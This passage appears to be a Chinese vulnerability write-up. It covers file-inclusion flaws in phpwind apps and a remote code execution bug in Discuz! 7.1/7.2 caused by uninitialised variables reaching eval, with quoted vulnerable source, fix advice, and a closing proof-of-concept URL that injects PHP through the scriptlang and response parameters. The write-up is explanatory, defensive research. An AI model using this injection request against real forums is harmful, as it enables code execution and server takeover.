apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

三.apps/groups/index.php远程包含漏洞

1.描叙

apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

if ($route == "groups") {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == "group") {
require_once $basePath . '/action/m_group.php';
} elseif ($route == "galbum") {
require_once $basePath . '/action/m_galbum.php';
}

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

Discuz! 7.1 & 7.2 远程代码执行漏洞

作者:oldjun

首先说一下,漏洞是t00ls核心群传出去的,xhming 先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实 发现的是同一个问题。截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了, 而且确实出自昨天我的那个版本。

不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C…总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。

上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。

漏洞介绍:

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com
global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
define('CACHE_FORBIDDEN', TRUE);
$hookscriptmessage = $show_message = $message;$messagehandle = 0;
$msgforward = unserialize($_DCACHE['settings']['msgforward']);
$refreshtime = intval($msgforward['refreshtime']);
$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
$msgforward['refreshtime'] = $refreshtime * 1000;
$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
$seccodecheck = $seccodestatus & 2;
if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
if($fp = @fopen($statlogfile, 'a')) {
@flock($fp, 2);
if(is_array($funcstatinfo)) {
$funcstatinfo = array_unique($funcstatinfo);
foreach($funcstatinfo as $funcinfo) {
fwrite($fp, funcstat_query($funcinfo, $message)."\n");
}
} else {
fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
}
fclose($fp);
$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
}
}

if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
write_statlog($message);
}

if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
updatesession();
dheader("location: ".str_replace('&amp;', '&', $url_forward));
}
if(!empty($infloat)) {
if($extra) {
$messagehandle = $extra;
}
$extra = '';
}
if(in_array($extra, array('HALTED', 'NOPERM'))) {
$discuz_action = 254;
} else {
$discuz_action = 255;
}

include language('messages');

$vars = explode(':', $message);//只要含:就可以了
if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割
eval("\$show_message = \"".str_replace('"', ' \"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定 义,from www.oldjun.com
} elseif(isset($language[$message])) {
$pre = $inajax ? 'ajax_' : '';
eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
unset($pre);
}

......
}

二、DZ的全局机制导致了未初始化的参数可以任意提交:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

三、misc.php正好有个可以自定义message的点,其实也是未初始化:

elseif($action == 'imme_binding' && $discuz_uid) {

if(isemail($id)) {
$msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
$msn = explode("\t", $msn);
$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
$msn = "$msn[0]\t$id";
$db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
showmessage('msn_binding_succeed', 'memcp.php');
} else {
if($result == 'Declined') {
dheader("Location: memcp.php");
} else {
showmessage($response['result']);//$response没有初始化,可以自定义,from www.oldjun.com

}
}

}

四、漏洞利用:

showmessage函数里$vars = explode(‘:’, $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。

五、漏洞修复:

1.有补丁的打补丁;
2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}